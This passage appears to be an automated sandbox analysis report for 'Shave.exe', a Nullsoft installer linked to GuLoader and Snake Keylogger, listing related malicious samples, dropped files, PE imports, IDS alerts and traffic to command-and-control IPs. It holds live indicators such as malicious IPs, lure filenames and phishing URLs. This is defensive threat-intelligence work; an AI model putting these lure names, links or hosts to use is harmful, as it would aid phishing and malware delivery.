	rrequestforquotation.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	SOA SEP 2024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	104.21.67.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BIRBIRTR	New listed items 7648767856387547354734567465647568487.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	185.244.144.68
	yVVZdG2NJX.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse	185.244.144.68
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	MG-Docu6800001.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	CL714440147.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	TKnBbCiX07.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
TELEGRAMRU	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WV7Gj9lJ7W.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
PUBLIC-DOMAIN-REGISTRYUS	https://www.google.com.bn/url?snf=vpsBrmjsMjZT0YKBELze&nuu=B4grUxP5T5pV5xJiiFp0&sa=t&ndg=e2p4qPDSQqlwr77oflqr&pdbr=npO0StsDFHvGF7jwYfWY&np=slEjuRPdabbflvaXgHau&cb=IhzFYfcuqq5m2vva4DTH&url=amp%2Fbeutopiantech.com%2Fchd%2FroghgehdjtiE-SURECHDDam9lbC5kZW5vZnJpb0BoYW5lc2NvbXBhbmllcy5jb20=	Get hash	malicious	Unknown	Browse	103.211.216.144
	Quote 40240333-REV2.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	DOCS.exe	Get hash	malicious	AgentTesla	Browse	207.174.215.249
	Ksciarillo_Reord_Adjustment.docx	Get hash	malicious	Unknown	Browse	208.91.198.81
	Ksciarillo_Reord_Adjustment.docx	Get hash	malicious	Unknown	Browse	208.91.198.81
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	208.91.198.81
	SOA.exe	Get hash	malicious	AgentTesla	Browse	207.174.215.249
	SFL OP990M3 PO.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.198.107
	nuevo orden.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	PO ALJAT-5804-2024.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	New shipment AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.177.134
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Papyment_Advice.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	172.67.177.134
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	172.67.177.134
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.177.134
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	0Nj1sxmCtr.exe	Get hash	malicious	Binder HackTool, Quasar	Browse	149.154.167.220
	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Outstanding Invoices_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll	New listed items 7648767856387547354734567465647568487.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse
	yVVZdG2NJX.exe	Get hash	malicious	GuLoader	Browse
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	ORDER 20240986 OA.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dacryocystitis.Sku69

Download File

Process:	C:\Users\user\Desktop\Shave.exe
File Type:	data
Category:	dropped
Size (bytes):	426485
Entropy (8bit):	6.941782967507925
Encrypted:	false
SSDEEP:	12288:XSqP0nz1acv+IypUi2YgJEI9fXsnAW8svlsAcyEZHT:XSqP0nz1acv+IypUi2Y81BXs0YsA7aT
MD5:	2A58FD1E922CDF96470BA55FBE42B1DF
SHA1:	E92E2EF16C14279E19A91C017665338048044A1C
SHA-256:	16CE17CFD5B53B1998B6E70E6BEBD375EB1425434A63B81FD299D0C3228FB478
SHA-512:	DA35D40463348E17CEA2E8444F64323C2AFB5621BFBDA27F88C24E29A9B04E2A2C67F1AF99510A6AB01A83A3E7A333E304B06C6DF98DEE0BE8BDB52E34BF5FE1
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Sipunculoidea.ude

Download File

Process:	C:\Users\user\Desktop\Shave.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 0-12, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 649037107316853453566312041152512.000000
Category:	dropped
Size (bytes):	286686
Entropy (8bit):	1.2536158727628404
Encrypted:	false
SSDEEP:	768:3zbnVKpXfwz53wppkaub35azZSECekyln9KUXjJrv5YQ1ujVNDYb3ezsIhWCUiSL:KH4hI9iE3sLB9pXYzlkOYFWf9
MD5:	99A5E2E2953D0374F1E23FF8B0B6773F
SHA1:	5FC3F9C3638DD60012AB2F2ECDD016912BBDB9F3
SHA-256:	3D1233CB89AD10CCC6972697279A3741F6031E05D32738E9B34D37A230C0F84A
SHA-512:	1B002C12EAB187B0246483C5F3B0758DC84BCC884E1120A17B0412DFD349972DB5DA04E154AE21D405BA33BBD0C29AADFA7D1BF4D50347146D6DFCCBBD8DA94A
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.........................................\|.........................F........................................................S..............................S.................................................................8....;........................^........................)......"..Y........B................d......................}.........i......................................9.....................................R...............]............................................................I.........u..................................j.....^.....................................................................W..................................................................................m......................................*.....................>..........O........[................................................B............................}..../...............................[.......?.............................Z..#.........................4...............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\moccasins.ved

Download File

Process:	C:\Users\user\Desktop\Shave.exe
File Type:	data
Category:	dropped
Size (bytes):	73531
Entropy (8bit):	1.2569404898190384
Encrypted:	false
SSDEEP:	384:dVICOgr5CpPXeGASSCorJvHtPvpwqcQ+5pPZg71l4oLuZK52Oc410+RaL7VomsEa:dVcPX7U1R9mPZgx1hn32+emD40rd
MD5:	22148562A5A87FF1BECCAE5E77D87142
SHA1:	D1B04F09ACFC146855AA02A8C530AA8A45DF3F24
SHA-256:	B09EF713D0920E9671DA35332C6DAE7C1E12BE409A7077D6CA3E07938F9C08E9
SHA-512:	3F96B2ABED75C8EA941E45BB3835EF4D5FC92C5C5F829A738641FD398D88BB838E7C22A0F5F998BF387A5CE4ADC77EECAA049BCFB1A9ADD476871C871D58E811
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......................................................................................x..........................\|........................................l...................a.........................................U.....................k..........................................G..................................................................\|.....b....................O...R..........n...................&.....................l..................!.......6......... ......S.......................................}........................................7..................................................................................................................................................B......#......b....................60........?.....z.......>..........................:..............%..l...........g...........................=D.....{.....................................&........................{.......................i..........................................5.]............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\sporostrote.dip

Download File

Process:	C:\Users\user\Desktop\Shave.exe
File Type:	data
Category:	dropped
Size (bytes):	220203
Entropy (8bit):	1.262001836842358
Encrypted:	false
SSDEEP:	768:EBCX3JLNVpAeI+EgywY0Szqqv3ib1RuU7thllrhAKF3+O1jaJgMH8JHuHR6qTSIT:EkLjwqF1z1MoqyH
MD5:	F8A828CA56113806A25802FF2AF74282
SHA1:	B016C4258BD1F9A19989E0C6B7AB993ED02DF96F
SHA-256:	95941451FFB946693877FBD721001ACC32FE70D75EA68CAB1756B3ADF77DCFF4
SHA-512:	6725AA09040FAC962CCFF2EF9897FB6F3F3706FE60D8C55A69CB9E0C21362B3C8C186C573D647C0A50438686D6035361A4A20138C451E641D507BD1218D1E079
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...................................................@......................................................................<....................................................O....../..........T.....................................i................................................................,.......................t.....................t.................................{!...................................................................................................X..........s.............@.............C....2................................-..............................w..............................................................H....................I........."..................C.................a................p...6.......................'......................................................................................%.............................x.................Q...................................z..........................i....hv...x.................`..........c.

C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Shave.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.890541747176257
Encrypted:	false
SSDEEP:	192:X24sihno0bW+l97H4GB7QDs91kMtwtobTr4u+QHbazMNHT7dmNIEr:m8vJl97JeoxtN/r3z7YV
MD5:	75ED96254FBF894E42058062B4B4F0D1
SHA1:	996503F1383B49021EB3427BC28D13B5BBD11977
SHA-256:	A632D74332B3F08F834C732A103DAFEB09A540823A2217CA7F49159755E8F1D7
SHA-512:	58174896DB81D481947B8745DAFE3A02C150F3938BB4543256E8CCE1145154E016D481DF9FE68DAC6D48407C62CBE20753320EBD5FE5E84806D07CE78E0EB0C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: New listed items 7648767856387547354734567465647568487.exe, Detection: malicious, Browse Filename: yVVZdG2NJX.exe, Detection: malicious, Browse Filename: PaymentAdvice.exe, Detection: malicious, Browse Filename: S50MC-C_3170262-7.6cylinder_liner.exe, Detection: malicious, Browse Filename: ORDER 20240986 OA.exe, Detection: malicious, Browse Filename: PayeeAdvice_HK54912_R0038704_37504.exe, Detection: malicious, Browse Filename: Conchoids12.exe, Detection: malicious, Browse Filename: Korrekturlsning.exe, Detection: malicious, Browse Filename: Conchoids12.exe, Detection: malicious, Browse Filename: Korrekturlsning.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....oZ...........!..... ...........).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...x....@.......(..............@....reloc..~....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.735301237874728
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Shave.exe
File size:	549'424 bytes
MD5:	51000c141b602569cf44b0f8bec9ecb8
SHA1:	d7b819dbc26b3e66c99d233c5c7fc86492e626dd
SHA256:	5b19a26d6e86bbcd6d454baee6ae7c77f1c4ca6017ad965eb79098308346f383
SHA512:	8b38516298e15002a228424f926552b9abc06fb7fb0da94d78a48fea4c0a861fc5bdbcdf9db733f9644a480b4099d237cd70531b8afa11879562d71dd7ee2283
SSDEEP:	6144:9lgvTRHy2nGlwzQ7LA+CB+f6tb9PTPgN++6aCUYvIRN3JGrYJfXvk0OFP2lmBLoE:32EI+CnhxC+JaWSRlXMPL6TEHmd3ZhZ8
TLSH:	0FC4E051F15DE8E7F51B26B18C7ED5301497AA6C95AC420E32AA361A64F335310AFF0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....oZ.................d....:....

File Icon


Icon Hash:	38206a6a62666429

Static PE Info

General

Entrypoint:	0x40336c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5A6FED1F [Tue Jan 30 03:57:19 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [007A8A2Ch], eax
je 00007FEFB87ECCF3h
push ebx
call 00007FEFB87EFFA5h
cmp eax, ebx
je 00007FEFB87ECCE9h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FEFB87EFF1Fh
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FEFB87ECCCCh
push 0000000Ah
call 00007FEFB87EFF78h
push 00000008h
call 00007FEFB87EFF71h
push 00000006h
mov dword ptr [007A8A24h], eax
call 00007FEFB87EFF65h
cmp eax, ebx
je 00007FEFB87ECCF1h
push 0000001Eh
call eax
test eax, eax
je 00007FEFB87ECCE9h
or byte ptr [007A8A2Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [007A8AF8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0079FEE0h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c7000	0x17000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6400	0x6400	eed0986138e3ef22dbb386f4760a55c0	False	0.6783203125	data	6.511089687733535	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x138e	0x1400	2914bac53cd4485c9822093463e4eea6	False	0.4509765625	data	5.146454805063938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39eb38	0x600	09e0c528682cd2747c63b7ba39c2cc23	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x1e000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3c7000	0x17000	0x17000	c8f8279129ad38fd03ee7b50a97e5aea	False	0.21903659986413043	data	5.096977274603887	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x3c7388	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x3c76f0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.16976221459836743
RT_ICON	0x3d7f18	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.32863070539419087
RT_ICON	0x3da4c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.42424953095684803
RT_ICON	0x3db568	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.30730277185501065
RT_ICON	0x3dc410	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.32445848375451264
RT_ICON	0x3dccb8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.2579479768786127
RT_ICON	0x3dd220	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6374113475177305
RT_DIALOG	0x3dd688	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x3dd7d0	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x3dd910	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3dda10	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3ddb30	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3ddbf8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3ddc58	0x68	data	English	United States	0.7211538461538461
RT_MANIFEST	0x3ddcc0	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T07:08:42.598864+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49751	185.244.144.68	80	TCP
2024-11-25T07:08:49.051470+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49757	193.122.130.0	80	TCP
2024-11-25T07:08:51.707734+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49757	193.122.130.0	80	TCP
2024-11-25T07:08:53.389422+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49777	172.67.177.134	443	TCP
2024-11-25T07:08:57.145241+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49779	193.122.130.0	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 07:08:41.047117949 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:41.166784048 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:41.166865110 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:41.167156935 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:41.286597013 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.598359108 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.598864079 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.598884106 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.598901987 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.598913908 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.598927021 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.599013090 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.599153042 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.599208117 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.599217892 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.599289894 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.599359989 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.599371910 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.599431038 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.718547106 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.718559980 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.718651056 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.728070974 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.728158951 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.728193998 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.728271008 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.730550051 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.730576038 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.730622053 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.809710979 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.809844017 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.810019970 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.813602924 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.813654900 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.813762903 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.821976900 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.822093010 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.822153091 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.822232962 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.830359936 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.830468893 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.830518961 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.830609083 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.838726044 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.838789940 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.838825941 CET	80	49751	185.244.144.68	192.168.2.5
Nov 25, 2024 07:08:42.838881016 CET	49751	80	192.168.2.5	185.244.144.68
Nov 25, 2024 07:08:42.847086906 CET	80	49751	185.244.144.68	192.168.2.5
